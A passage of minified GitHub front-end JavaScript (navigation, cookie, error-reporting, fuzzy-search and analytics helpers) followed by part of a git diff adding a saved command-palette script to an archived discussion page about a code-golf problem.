instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return 